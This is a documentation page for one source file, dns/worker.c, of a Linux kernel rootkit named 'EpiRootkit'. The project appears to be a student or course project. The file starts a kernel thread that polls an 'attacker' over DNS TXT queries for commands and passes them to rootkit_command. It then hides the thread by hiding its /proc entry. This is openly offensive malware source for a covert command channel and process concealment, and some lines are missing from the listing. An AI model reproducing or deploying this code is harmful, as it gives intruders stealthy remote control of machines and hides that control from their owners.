EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
dns/worker.c
Go to the documentation of this file.
1#include "hide_api.h"
2#include "network.h"
3
4static struct task_struct *dns_worker_thread = NULL;
5
17static int dns_worker(void *data) {
18 char cmd_buf[RCV_CMD_BUFFER_SIZE / 2];
19
20 while (!kthread_should_stop()) {
21 int len = dns_receive_command(cmd_buf, sizeof(cmd_buf));
22 if (len > 0) {
23 // Send the response of command over DNS
24 DBG_MSG("dns_worker: got commmand from attacker '%s'\n", cmd_buf);
25 rootkit_command(cmd_buf, len + 1, DNS);
26 }
27
28 // Sleep for a defined interval to avoid busy-waiting
30 }
31 return 0;
32}
33
47 return -EBUSY;
48
49 // Create the DNS worker thread
51 if (IS_ERR(dns_worker_thread))
52 return PTR_ERR(dns_worker_thread);
53
54 // Hide the thread from the user
55 char path[32] = { 0 };
56 snprintf(path, sizeof(path), "/proc/%d", dns_worker_thread->pid);
57 hide_file(path);
58
59 return SUCCESS;
60}
61
72int stop_dns_worker(void) {
74 return -EINVAL;
75
76 // Remove the hidden directory associated with the thread
77 char path[32] = { 0 };
78 snprintf(path, sizeof(path), "/proc/%d", dns_worker_thread->pid);
79 unhide_file(path);
80
81 // Stop the DNS worker thread
82 kthread_stop(dns_worker_thread);
83 dns_worker_thread = NULL;
84
85 return SUCCESS;
86}
int rootkit_command(char *command, unsigned command_size, enum Protocol protocol)
Definition cmd.c:122
#define DNS_WORKER_THREAD_NAME
Definition config.h:40
#define DBG_MSG(fmt, args...)
Definition config.h:15
#define SUCCESS
Definition config.h:5
@ DNS
Definition config.h:30
#define DNS_POLL_INTERVAL_MS
Definition config.h:41
#define RCV_CMD_BUFFER_SIZE
Definition config.h:37
int start_dns_worker(void)
Starts the DNS worker kernel thread.
Definition dns/worker.c:45
static struct task_struct * dns_worker_thread
Definition dns/worker.c:4
int stop_dns_worker(void)
Stops the DNS worker kernel thread.
Definition dns/worker.c:72
static int dns_worker(void *data)
Kernel thread function to process DNS-based commands.
Definition dns/worker.c:17
int hide_file(const char *path)
Definition hide_api.c:25
int unhide_file(const char *path)
Definition hide_api.c:52
int dns_receive_command(char *buffer, size_t max_len)
Poll the attacker via DNS TXT-query for a pending command.
Definition dns.c:222